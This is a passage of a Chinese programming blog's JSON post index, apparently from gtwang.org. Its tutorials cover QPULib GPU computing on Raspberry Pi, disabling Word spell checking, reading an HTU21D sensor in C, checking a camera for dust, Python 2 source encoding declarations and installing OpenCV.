class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"c1\"\u003e// x 遞減至 0\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e這個程式碼的邏輯很簡單，就是讓 \u003ccode\u003ex\u003c/code\u003e 逐步遞減至 \u003ccode\u003e0\u003c/code\u003e，不過 \u003ccode\u003ewhile\u003c/code\u003e 的判斷式在乍看之下有些奇怪，正常的 C 語言似乎沒有 \u003ccode\u003ex --\u0026gt; 0\u003c/code\u003e 這種箭頭的運算子，但是這個程式卻可以正常執行。\u003c/p\u003e","title":"C/C++ 程式語言的箭頭 --\u003e 運算子？"},{"content":"這裡介紹如何在樹莓派上使用 QPULib 這套 QPU（GPU） 平行運算函式庫，加速各種運算的執行，解決樹莓派 CPU 運算速度不足的問題。\nQPULib 是一套可以運用樹莓派的 QPU 進行平行運算的 C++ 函式庫，它包含特殊的程式語言語法以及編譯器，可在執行時產生適用於 QPU 執行的程式，讓 QPU 負責較為大量的運算，大幅增加運算的速度，對於有實時（real-time）需求的應用應該很有幫助。以下是 QPULib 的使用教學與範例程式碼。\n這裡我所使用的測試環境是 Raspberry Pi 3 Model B，作業系統與核心環境如下：\nlsb_release -a No LSB modules are available. Distributor ID: Raspbian Description: Raspbian GNU/Linux 8.0 (jessie) Release: 8.0 Codename: jessie uname -a Linux raspberrypi 4.4.43-v7+ #948 SMP Sun Jan 15 22:20:07 GMT 2017 armv7l GNU/Linux GPU 運算基礎觀念 QPU（Quad Processing Unit）是 Broadcom 所研發的一種向量處理器，它可以一次處理 16 個 32 位元整數或浮點數的運算。\n舉例來說，如果有兩個長度為 16 的數值向量：\n10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 與\n20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 QPU 的 integer-add 指令可以將這兩個向量相加，得到一個相加後的結果向量：\n30 32 34 36 38 40 42 44 46 48 50 52 54 56 58 60 這個新的向量長度也是 16，其中每個元素就是由前面兩個向量中對應元素相加所得到的。\n每一個長度為 16 的向量包含 4 個 quads，一個 QPU 每一個時脈週期（clock cycle）可以處理一個 quad（這也是它稱為 QPU 的原因），所以計算一個長度為 16 的向量需要 4 個時脈週期。\n樹莓派中總共含有 12 個 QPU，時脈速度（clock rate）為 250MHz，也就是說每秒可以進行 250M / 4 * 12 = 750M 個長度為 16 的向量運算，等同於每秒 750M * 16 = 12G 個浮點運算，而某些特殊的 QPU 指令還可以一次執行兩個運算，所以樹莓派的 QPU 最高可達到 24GFLOPS 的運算能力。\nQPU 屬於樹莓派圖形管線（pipeline）的一部分，如果您的應用會牽涉到繪圖，可以使用 OpenGL ES，而如果只是要加速非繪圖的程式運算速度，那麼就適合使用 QPULib。\n安裝 QPULib 使用 git 下載 QPULib 專案的原始碼：\n# 安裝 git sudo apt-get install git # 下載 QPULib 原始碼 git clone https://github.com/mn416/QPULib 編譯 GCD 這個範例程式，編譯時要加上 QPU=1 參數，讓程式可以使用樹莓派實體的 GPU（QPU）：\ncd QPULib/Tests make QPU=1 GCD 使用 sudo 執行 GCD 測試：\nsudo ./GCD 輸出為：\ngcd(183, 186) = 3 gcd(177, 115) = 1 gcd(193, 135) = 1 gcd(186, 192) = 6 gcd(149, 121) = 1 gcd(162, 127) = 1 gcd(190, 159) = 1 gcd(163, 126) = 1 gcd(140, 126) = 14 gcd(172, 136) = 4 gcd(111, 168) = 3 gcd(167, 129) = 1 gcd(182, 130) = 26 gcd(162, 123) = 3 gcd(167, 135) = 1 gcd(129, 102) = 3 若程式可以正常執行，就表示沒問題。\nHello World 在撰寫使用 GPU 運算的程式時，程式碼主要可分為兩大部份：\nCPU 部份 在 CPU 上面執行的程式，使用一般 C/C++ 語言的語法來撰寫（等同於一般的 C/C++ 程式），主要處理資料的輸入與輸出，還有一些次要的少量運算。 GPU 部份 在 GPU 上面以平行化方式所執行的程式，使用 QPULib 以 C++ 類別為基礎所建立的特殊語法撰寫而成，負責最核心的平行運算，通常這部份的程式碼會包裝成一個獨立的函數，跟 CPU 的程式碼區隔開來，而這種在 GPU 上面執行的函數就稱為核心函數（kernel function）。 這是 QPULib 所提供的 Hello.cpp 範例程式碼，示範最簡單的 CPU 與 GPU 資料傳遞與平行運算的使用方式：\n#include \u0026lt;QPULib.h\u0026gt; // 定義在 QPU 上執行的核心函數 void hello(Ptr\u0026lt;Int\u0026gt; p) { *p = 1; } int main() { // 建立核心函數 auto k = compile(hello); // 配置 CPU 與 QPU 共用的記憶體陣列 SharedArray\u0026lt;int\u0026gt; array(16); for (int i = 0; i \u0026lt; 16; i++) { array[i] = 100; } // 使用 QPU 運算 k(\u0026amp;array); // 輸出結果 for (int i = 0; i \u0026lt; 16; i++) { printf(\u0026#34;%i: %i\\n\u0026#34;, i, array[i]); } return 0; } 這裡我們一開始定義一個 hello 核心函數，這個函數就是要放在 GPU 執行的部份，在程式執行時，先使用 compile 函數將這個 hello 編譯成可以被 GPU 執行的程式，接著用 SharedArray 配置一個可以同時被 CPU 與 GPU 存取的陣列，用於 GPU 運算上的資料傳遞，然後呼叫編建立好的核心函數進行平行運算，最後輸出結果。\n這個 Hello 程式的 makefile 已經事先寫好了，所以我們可以直接執行 make 編譯程式，這裡同樣要加上 QPU=1 讓程式使用 GPU 運算：\nmake QPU=1 Hello 使用 sudo 執行：\nsudo ./Hello 輸出為：\n0: 1 1: 1 2: 1 3: 1 4: 1 5: 1 6: 1 7: 1 8: 1 9: 1 10: 1 11: 1 12: 1 13: 1 14: 1 15: 1 這裡我們放在 GPU 中的運算內容很簡單，只是單純把每個數值設定為 1 而已，所以輸出是 16 個 1。\n以上就是一個最簡單的樹莓派 GPU hello world 程式，接下來我們要繼續介紹 QPULib 的語法。\n最大公因數範例 這是 Euclidean 演算法的 C 語言實作版本，可以找出兩個整數的最大公因數（greatest common divisor）：\nvoid gcd(int* p, int* q, int* r) { int a = *p; int b = *q; while (a != b) { if (a \u0026gt; b) a = a-b; else b = b-a; } *r = a; } 這裡我們以指標（pointer）的方式來傳遞參數，如果是一般的 C 語言程式是可以不需要這麼麻煩，直接以傳值呼叫即可，這裡這樣寫是為了後續我們要把這個函數改為平行化的向量版本。\n若要讓這段城市可以在 GPU 上面執行，我們要使用 QPULib 的語法改寫這一個函數，以下是改寫後的版本：\n#include \u0026lt;QPULib.h\u0026gt; void gcd(Ptr\u0026lt;Int\u0026gt; p, Ptr\u0026lt;Int\u0026gt; q, Ptr\u0026lt;Int\u0026gt; r) { // 取讀輸入向量，長度為 16 Int a = *p; Int b = *q; // 平行檢查 a 向量與 b 向量， // 若 a 與 b 中有任何元素不相等， // 則繼續執行 While 迴圈 While (any(a != b)) // 個別比較 a 向量與 b 向量中的元素， // 針對 a 大於 b 的那些元素進行運算 Where (a \u0026gt; b) a = a - b; End // Where 條件判斷式結尾 // 個別比較 a 向量與 b 向量中的元素， // 針對 a 小於 b 的那些元素進行運算 Where (a \u0026lt; b) b = b - a; End // Where 條件判斷式結尾 End // While 迴圈結尾 // 傳回計算結果 *r = a; } QPULib 是以 C++ 物件導向的方式建立自己的程式語言語法，所以表面上看起來是 C++ 的程式，事實上在使用起來有很大的差異，用這種語法所撰寫的程式碼是放在 QPU 中執行的，所有的運算都是以長度為 16 的向量為基本單位，以平行化的方式在執行。\nInt 是一個 QPULib 所定義的類別，代表長度為 16 的 32 位元整數向量。 Ptr\u0026lt;Int\u0026gt; 則是代表 Int 向量的記憶體位址向量。 *p 代表記憶體中以 p 開頭的 Int 向量（跟 C 語言的陣列相同，第一個向量元素位址為 p）。 a != b 代表兩個向量個別元素的比較，結果是長度為 16 的布林向量。 any(a != b) 是判斷 a != b 這個布林向量中，是否有任何值為 true。 Where (a \u0026gt; b) 與 End 兩個是一組的條件判斷式，向量中只有符合條件判斷的對應元素會執行情中的程式碼。 以上是 GPU 部分的核心函數，以下是 CPU 部分的 C/C++ 程式碼：\nint main() { // 將 gcd 函數編譯成 QPU 核心函數 auto k = compile(gcd); // 配置 CPU 與 QPU 共享的陣列 SharedArray\u0026lt;int\u0026gt; a(16), b(16), r(16); // 設定亂數種子 srand(0); // 以亂數產生測試用資料 for (int i = 0; i \u0026lt; 16; i++) { a[i] = 100 + rand()%100; b[i] = 100 + rand()%100; } // 設定要使用的 QPU 數量 k.setNumQPUs(1); // 使用 QPU 進行平行運算 k(\u0026amp;a, \u0026amp;b, \u0026amp;r); // 輸出結果 for (int i = 0; i \u0026lt; 16; i++) printf(\u0026#34;gcd(%i, %i) = %i\\n\u0026#34;, a[i], b[i], r[i]); return 0; } 這個範例就是前面我們在安裝 QPULib 函式庫測試時所用的 GCD 程式，編譯與執行方式請參考上面的說明。\n回圈展開 回圈展開（loop unrolling）是程式碼最佳化常用的技巧，可以有效降低分支指令（branch instructions）的執行次數，加速整體程式的速度。\nQPU 的分支指令會需要 3 個延遲間隙（delay slots），相當於 12 個時脈週期，目前 QPULib 在這個間隙中並沒有做其他用途（也就是浪費掉了），所以若要加速程式的執行，必須儘可能減少條件判斷出現的頻率。\nQPULib 允許程式設計者以一般 C 語言的 for 迴圈，對特定的程式碼做回圈展開，例如：\n#include \u0026lt;QPULib.h\u0026gt; void gcd(Ptr\u0026lt;Int\u0026gt; p, Ptr\u0026lt;Int\u0026gt; q, Ptr\u0026lt;Int\u0026gt; r) { Int a = *p; Int b = *q; While (any(a != b)) for (int i = 0; i \u0026lt; 32; i++) { // 迴圈展開 Where (a \u0026gt; b) a = a - b; End Where (a \u0026lt; b) b = b - a; End } // for 迴圈展開結尾 End *r = a; } 這裡加入的 for 迴圈並不是真正的迴圈，而是做迴圈展開，也就是讓編譯器產生多個重複的 QPU 指令，改善程式執行速度。\n迴圈範例 這是一個旋轉座標的 C 語言函數：\nvoid rot3D(int n, float cosTheta, float sinTheta, float* x, float* y) { for (int i = 0; i \u0026lt; n; i++) { float xOld = x[i]; float yOld = y[i]; x[i] = xOld * cosTheta - yOld * sinTheta; y[i] = yOld * cosTheta + xOld * sinTheta; } } 若以 QPULib 改寫後，會變成這樣：\nvoid rot3D(Int n, Float cosTheta, Float sinTheta, Ptr\u0026lt;Float\u0026gt; x, Ptr\u0026lt;Float\u0026gt; y) { For (Int i = 0, i \u0026lt; n, i = i + 16) Float xOld = x[i]; Float yOld = y[i]; x[i] = xOld * cosTheta - yOld * sinTheta; y[i] = yOld * cosTheta + xOld * sinTheta; End } Non-Blocking 記憶體存取 上面的程式碼只是最初淺的 GPU 版本，這段程式碼在執行時會因為記憶體搬移資料，造成程式產生多餘的等待時間，若要改善效能可以將計算與記憶體存取的時間區間重疊，讓程式一邊計算、一邊存取記憶體，以下是修改過後的程式碼：\nvoid rot3D(Int n, Float cosTheta, Float sinTheta, Ptr\u0026lt;Float\u0026gt; x, Ptr\u0026lt;Float\u0026gt; y) { // index() 函數可產生 0, 1, 2, ..., 15 的向量 Ptr\u0026lt;Float\u0026gt; p = x + index(); Ptr\u0026lt;Float\u0026gt; q = y + index(); // 預先載入資料 gather(p); gather(q); Float xOld, yOld; For (Int i = 0, i \u0026lt; n, i = i+16) // 預先載入下一次迭代要用的資料 gather(p+16); gather(q+16); // 取得當次迭代要用的資料 receive(xOld); receive(yOld); // 將計算結果儲存回記憶體中 store(xOld * cosTheta - yOld * sinTheta, p); store(yOld * cosTheta + xOld * sinTheta, q); p = p+16; q = q+16; End } QPULib 提供了 non-blocking 的記憶體載入方式：\ngather(p) 可以預先載入 p 中的每一個值。 receive(x) 可以將 gather 載入的值存入 x 中，程式在這裡會等待所有的直都載入至 x 中之後，才會繼續執行（也就是會 block 住）。 gather(p) 的語法與 x = *p 不同，它是針對每一個記憶體位址操作，所以要使用 index() 做一些調整。\n記憶體的資料會在 gather 與 receive 之間進行載入，所以這段時間我們可以加入其他的計算，讓計算與資料載入同時進行。\nQPU 中有 8 個 FIFO 緩衝區可以儲存 gather 載入的資料，而資料在載入 FIFO 之後，再以 receive 取出，也就是說同時間可以有 8 組 gather 與 receive 一起運作。\n另外一個 non-blocking 操作是使用 store 將資料寫回記憶體，store(x, p) 可以將 x 向量寫入 p 這個記憶體位置，與 *p = x 不同的是，store(x, p) 是 non-blocking 的操作，不過若遇到下一個 store 時，就要等待前一個 store 執行完成才能接續執行。\n多 QPU 平行運算 QPULib 可以透過 setNumQPUs(n) 函數來設定 QPU 數量，同時使用多顆 QPU 來做平行計算，而在使用多顆 QPU 時，程式設計者必須要能辨識其所使用的 GPU，這樣才能將計算分配到每一顆 QPU 中。\nQPULib 的 me() 函數可以傳回 QPU 的 id（型態為 Int），而 numQPUs() 則會傳回可以使用的 QPU 總數，QPU 的 id 值會介於 0 到 numQPUs - 1 之間。\n以下是使用多顆 QPU 平行計算的版本：\nvoid rot3D(Int n, Float cosTheta, Float sinTheta, Ptr\u0026lt;Float\u0026gt; x, Ptr\u0026lt;Float\u0026gt; y) { Int inc = numQPUs() \u0026lt;\u0026lt; 4; // numQPUs() * 16 Ptr\u0026lt;Float\u0026gt; p = x + index() + (me() \u0026lt;\u0026lt; 4); Ptr\u0026lt;Float\u0026gt; q = y + index() + (me() \u0026lt;\u0026lt; 4); gather(p); gather(q); Float xOld, yOld; For (Int i = 0, i \u0026lt; n, i = i + inc) gather(p+inc); gather(q+inc); receive(xOld); receive(yOld); store(xOld * cosTheta - yOld * sinTheta, p); store(yOld * cosTheta + xOld * sinTheta, q); p = p + inc; q = q + inc; End } 以上就是簡單的 QPULib 介紹與教學，更詳細的語法與範例請參考 QPULib GibHub 網站上的說明文件以及其原始碼。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi/qpulib-raspberry-pi-gpu-library-tutorial/","summary":"\u003cp\u003e這裡介紹如何在樹莓派上使用 QPULib 這套 QPU（GPU） 平行運算函式庫，加速各種運算的執行，解決樹莓派 CPU 運算速度不足的問題。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/mn416/QPULib\"\u003eQPULib\u003c/a\u003e 是一套可以運用樹莓派的 QPU 進行平行運算的 C++ 函式庫，它包含特殊的程式語言語法以及編譯器，可在執行時產生適用於 QPU 執行的程式，讓 QPU 負責較為大量的運算，大幅增加運算的速度，對於有實時（real-time）需求的應用應該很有幫助。以下是 QPULib 的使用教學與範例程式碼。\u003c/p\u003e","title":"樹莓派 Raspberry Pi GPU 加速運算教學：QPULib 函式庫"},{"content":"這裡介紹如何關閉 Word 的拼字與文法檢查功能，隱藏擾人的下波浪下底線。\n在 Word 中輸入文字時，Word 會自動檢查文字的拼字與文法，與 Office 內部的字典與辭庫進行比對，如果發現有文字拼錯（英文）或是語法不通順的地方，就會自動使用藍色或紅色的波浪下底線標示出來，方便使用者快速修正打字上的錯誤。\n雖然這是一個很實用的功能，但因為 Office 內部的字詞資料庫不夠豐富，時常會有誤判的問題，尤其是在打中文的文言文時，這個拼字與文法檢查功能幾乎是沒有作用的，只會讓整個 Word 檔多出許多下底線。\n以下我們示範如何關閉 Word 中的拼字、文法檢查功能，讓 Word 檔案內容看起來更清爽。這裡我們拿一段中庸的原文當作範例，在 Word 中若輸入這種古文，畫面就會像這樣：\n整個檔案內容看起來就會有很多波浪下底線，容易造成視覺上的干擾，接著我們要調整 Word 的設定，隱藏這些下底線。\nStep 1\n首先點選工具列的「檔案」，然後選擇「選項」。\nStep 2\n取消各種拼字與文法的檢查項目，將「自動拼字檢查」、「自動標記文法錯誤」、「常混淆的字」以及「拼字檢查時亦檢查文法」這幾個功能的勾勾都取消。\nStep 3\n將 Word 所有的拼字與文法檢查功能關閉之後，文字內容就不會再出現任何波浪下底線了。\n這樣調整之後，會套用至所有使用 Word 開啟的文件，如果只是想針對某個 Word 檔關閉拼字與文法檢查，可以改用下面這種例外處理的方式來設定。\nStep 4\n將剛剛取消的拼字與文法檢查項目恢復，然後改用下方的例外處理，選擇要取消拼字與文法檢查的 Word 檔案，並將「只隱藏文件中的拼字錯誤」與「只隱藏文件中的文法錯誤」打勾。\nStep 5\n這樣一來，只有設定取消拼字與文法檢查的 Word 檔案不會出現波浪下底線，其餘的 Word 檔則不受影響。\n參考資料 重灌狂人 T 客幫 ","permalink":"https://blog.gtwang.org/windows/word-how-to-turn-off-automatic-spelling-and-grammar-checking/","summary":"\u003cp\u003e這裡介紹如何關閉 Word 的拼字與文法檢查功能，隱藏擾人的下波浪下底線。\u003c/p\u003e\n\u003cp\u003e在 Word 中輸入文字時，Word 會自動檢查文字的拼字與文法，與 Office 內部的字典與辭庫進行比對，如果發現有文字拼錯（英文）或是語法不通順的地方，就會自動使用藍色或紅色的波浪下底線標示出來，方便使用者快速修正打字上的錯誤。\u003c/p\u003e","title":"Word 關閉拼字、文法檢查功能，消除藍色、紅色波浪下底線"},{"content":"本篇示範在樹莓派 Raspberry Pi 中以 C 語言抓取 HTU21D 溫度與濕度感測器的資料，自己打造物聯網溫濕度計。\nHTU21D 是一個同時可以測量溫度與溼度的感測器，樹莓派或 Arduino 等開發板可透過 i2c 傳輸協定讀取上面的資料，在物聯網（IOT）的應用中可以很方便結合其他的設備，實現智慧居家與自動控制。\n這是我手上的兩個 MEAS HTU21D 溫度與濕度感測器，其溫度的誤差直是 ±0.3℃，而相對濕度的誤差值則為 ±2％。\n這個感測器是好久以前買的，現在才拿出來使用。\n以下我們示範在樹莓派上安裝 HTU21D 溫濕度感測器，並且讀取其中的量測資料。\n安裝 HTU21D 溫濕度感測器 Step 1\n將 HTU21D 插在麵包板上，再用杜邦線連接樹莓派。\nHTU21D 在使用上就跟一般的 i2c 設備一樣，用杜邦線接上樹莓派對應的針腳即可，這是簡單的接線圖。\n接好線之後，就可以繼續進行軟體上的設定了。\nStep 2\n使用 raspi-config 的管理選單，啟用核心的 i2c 模組：\nsudo raspi-config Step 3\n選擇「Interfacing Options」。\nStep 4\n選擇「I2C」。\nStep 5\n選擇「Yes」啟用 I2C 介面。\nStep 6\n安裝 i2c 相關工具的套件：\nsudo apt-get install i2c-tools Step 7\n偵測 i2c 設備：\nsudo i2cdetect -y 1 0 1 2 3 4 5 6 7 8 9 a b c d e f 00: -- -- -- -- -- -- -- -- -- -- -- -- -- 10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 40: 40 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 70: -- -- -- -- -- -- -- -- 正常的話在 0x40 的位置應該會出現 40，這樣就表示 HTU21D 已經可以正常透過 i2c 傳輸資料了。\n讀取 HTU21D 溫度與濕度資料 接下來我們要透過 i2c 讀取 HTU21D 感測器的資料，在開發程式之前，請先詳讀 HTU21D 的 datasheet，如果您在程式碼中看到一些奇怪的數值，通常都可以在 datasheet 中找到說明。\nC 語言版本 以下是使用 C 語言讀取 HTU21D 感測器資料的程式碼：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;errno.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026#34;wiringPi.h\u0026#34; #include \u0026#34;wiringPiI2C.h\u0026#34; #define HTU21D_I2C_ADDR 0x40 #define HTU21D_TEMP 0xF3 #define HTU21D_HUMID 0xF5 // 取得溫度（攝氏） double getTemperature(int fd) { unsigned char buf [4]; // 送出測量溫度指令 wiringPiI2CWrite(fd, HTU21D_TEMP); // 等待 0.1 秒 delay(100); // 讀取資料 read(fd, buf, 3); // 根據 datasheet 的說明，將資料轉換為攝氏溫度 unsigned int temp = (buf [0] \u0026lt;\u0026lt; 8 | buf [1]) \u0026amp; 0xFFFC; return -46.85 + 175.72 * temp / 65536.0; } // 取得濕度（相對濕度） double getHumidity(int fd) { unsigned char buf [4]; // 送出測量濕度指令 wiringPiI2CWrite(fd, HTU21D_HUMID); // 等待 0.1 秒 delay(100); // 讀取資料 read(fd, buf, 3); // 根據 datasheet 的說明，將資料轉換為相對濕度 unsigned int humid = (buf [0] \u0026lt;\u0026lt; 8 | buf [1]) \u0026amp; 0xFFFC; return -6.0 + 125.0 * humid / 65536.0; } int main () { wiringPiSetup(); int fd = wiringPiI2CSetup(HTU21D_I2C_ADDR); if ( 0 \u0026gt; fd ) { fprintf (stderr, \u0026#34;Unable to open I2C device: %sn\u0026#34;, strerror (errno)); exit (-1); } printf(\u0026#34;Temp: %5.2f Cn\u0026#34;, getTemperature(fd)); printf(\u0026#34;Humid: %5.2f %%n\u0026#34;, getHumidity(fd)); return 0; } 將這段 C 程式碼儲存為 htu.c，接著使用 gcc 編譯：\ngcc -o htu -lwiringPi htu.c 使用 sudo 取得 root 權限執行：\nsudo ./htu 輸出為：\nTemp: 23.16 C Humid: 55.49 % Leon Anavi 有將他寫好的 C 語言程式碼放在 GitHub 網站上，這裡的 HTU21D 範例程式碼就是參考他的版本修改而來的，而他的 GitHub 網站上還有非常多其他物聯網應用的範例程式碼，推薦大家可以上去看看。\n參考資料 adafruit Raspberry Pi instructables ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-meas-htu21d-digital-relative-humidity-and-temperature-sensor/","summary":"\u003cp\u003e本篇示範在樹莓派 Raspberry Pi 中以 C 語言抓取 HTU21D 溫度與濕度感測器的資料，自己打造物聯網溫濕度計。\u003c/p\u003e\n\u003cp\u003eHTU21D 是一個同時可以測量溫度與溼度的感測器，樹莓派或 Arduino 等開發板可透過 i2c 傳輸協定讀取上面的資料，在物聯網（IOT）的應用中可以很方便結合其他的設備，實現智慧居家與自動控制。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 以 C 語言讀取 HTU21D 溫度與濕度感測器資料"},{"content":"最近發現我的 Olympus E-PL6 相機入塵了，拍攝出來的照片有很明顯的黑點。\n若要檢查相機是否有灰塵跑進去（入塵），可以透過兩個簡單的步驟來自我檢測：\n將光圈縮小，例如縮到 f20 或 f22。 對著白色的空白紙或牆壁拍攝幾張照片。 拍攝照片時，可以稍微移動相機然後拍個兩、三張照片，如果相機的感光元件（CCD）有入塵的話，照片上就會有固定位置的灰色塵點，而如果照片看起來沒有特別的污點，就表示沒有太嚴重的入塵問題，可以放心繼續使用相機。\n在測試時雖然縮小光圈，快門會變慢，不過不需要理會安全快門的問題，因為我們是要測試入塵，所以背後的影像模糊也無所謂，若有塵點還是可以看得很清楚。\n以下是我的 Olympus E-PL6 相機入塵的照片，以下是用 Olympus 12-40mm F2.8 Pro 這一顆鏡頭拍攝的，光圈 f10、廣角的焦距 12mm 對著白紙拍攝的，右下角很明顯有一個塵點。\n用望短端的焦距 40mm 再拍一張，塵點的位置有一些改變，看起來就是鏡頭入塵。\n把光圈縮到最小的 f22 之後，塵點就變得更清楚，這是廣角端 12mm 的照片。\n這張則是望遠端 40mm 的照片。\n其實如果仔細看，照片中還有一些比較不明顯的塵點，不過那些在一般的照片中應該是看不出來的。\n以下我又再換一顆 Olympus 17mm 的定焦鏡頭來測試，結果相同。\n","permalink":"https://blog.gtwang.org/tips/olympus-12-40-pro-len-dust-20170120/","summary":"\u003cp\u003e最近發現我的 \u003ca href=\"/unboxing/olympus-e-pl6-evil-camera-unboxing/\"\u003eOlympus E-PL6\u003c/a\u003e 相機入塵了，拍攝出來的照片有很明顯的黑點。\u003c/p\u003e\n\u003cp\u003e若要檢查相機是否有灰塵跑進去（入塵），可以透過兩個簡單的步驟來自我檢測：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e將光圈縮小，例如縮到 f20 或 f22。\u003c/li\u003e\n\u003cli\u003e對著白色的空白紙或牆壁拍攝幾張照片。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"如何檢查單眼相機是否入塵？Olympus 相機入塵記錄"},{"content":"這裡介紹如何設定 Python 2 指令稿的檔案編碼，讓包含中文字的 Python 2 程式可以正常執行，不會產生亂碼。\nPython 2 在讀取指令稿並執行時，預設會將檔案以 ASCII 編碼的方式來處理，也就是說如果在 Python 2 程式碼或是註解當中有包含中文字的話，在執行時就會出錯，以下是解決 Python 2 中文編碼問題的教學。\nPython 3 的預設文字編碼是 UTF-8，所以在 Python 3 的程式碼中，可以處理中文字，不需要另外指定編碼。\n這是一個包含中文註解的 Python 指令稿 chinese.py：\n#!/usr/bin/python # 中文註解 print(\u0026#34;Hello, world.\u0026#34;) 如果直接執行：\npython chinese.py 會出現類似這樣的錯誤：\nFile \"chinese.py\", line 3 SyntaxError: Non-ASCII character '\\xe4' in file chinese.py on line 3, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details 不論中文字是出現在程式碼還是註解當中，都會出現這個錯誤，這則錯誤訊息的意思是指我們的 chinese.py 指令稿中包含非 ASCII 的字元。\n如果要要讓這種包含中文的 UTF-8 編碼的 Python 指令稿正常執行，需要加上明確的檔案編碼宣告才行，例如：\n#!/usr/bin/python # -*- coding: utf-8 -*- # 中文註解 print(\u0026#34;Hello, world.\u0026#34;) Python 指令稿的編碼宣告必須出寫在程式碼的第一行或第二行，這裡我們在第二行指定檔案編碼格式 UTF-8，這樣就可以正常執行了。\npython chinese.py Hello, world. Python 指令稿的編碼指定方式相當彈性，事實上它是使用 coding[=:]\\s*([-\\w.]+) 這一串正規表達式（regular expression）來讀取編碼設定的，所以只要第一行或第二行註解中的內容可以跟這個正規表達式，即可正確設定檔案編碼，以下是常見的幾種設定方式。\n這是同時適用於 GNU Emacs 編輯器的編碼設定方式，這樣寫的話當我們使用 Emacs 編輯器開啟這個 Python 指令稿時，Emacs 就會自動以 UTF-8 編碼開啟此檔案：\n# -*- coding: utf-8 -*- 這是適用於 Vim 編輯器的寫法：\n# vim:fileencoding=utf-8 當然也可以用自己喜歡的格式：\n# file encoding: utf-8 (for chinese) 如果在 Windows 中使用 Big5 編碼的話，則將編碼的名稱改為 cp950：\n# -*- coding: cp950 -*- 其餘以此類推。\n參考資料 python.org Python Documentation StackOverflow ","permalink":"https://blog.gtwang.org/programming/python-chinese-comments-utf8-encoding/","summary":"\u003cp\u003e這裡介紹如何設定 Python 2 指令稿的檔案編碼，讓包含中文字的 Python 2 程式可以正常執行，不會產生亂碼。\u003c/p\u003e\n\u003cp\u003ePython 2 在讀取指令稿並執行時，預設會將檔案以 ASCII 編碼的方式來處理，也就是說如果在 Python 2 程式碼或是註解當中有包含中文字的話，在執行時就會出錯，以下是解決 Python 2 中文編碼問題的教學。\u003c/p\u003e","title":"Python 程式碼或註解加入中文教學，設定 UTF-8 編碼"},{"content":"這裡介紹如何在 Ubuntu Linux 中安裝 OpenCV 影像處理與電腦視覺函式庫，並且使用 C/C++ 或 Python 開發 OpenCV 的影像處理與電腦視覺應用程式。\n安裝 OpenCV 函式庫 在 Ubuntu Linux 我們可以使用 apt 安裝套件庫中已經編譯好的 OpenCV 函式庫：\nsudo apt-get install libopencv-dev python-opencv libopencv-dev 是 C/C++ 的函式庫，而 python-opencv 則是 Python 的函式庫，可依自己的需求增減。\n在 Ubuntu Linux 套件庫中的 OpenCV 版本通常不是最新的，如果需要安裝最新的 OpenCV 版本，可以依照 OpenCV 官方的編譯安裝步驟來安裝，不過對於初學者來說，使用 apt 安裝應該就足夠了。\nOpenCV Hello World（C++） 安裝好 OpenCV 之後首先來看一個 C++ 的 hello world 程式碼 DisplayImage.cpp：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;opencv2/opencv.hpp\u0026gt; 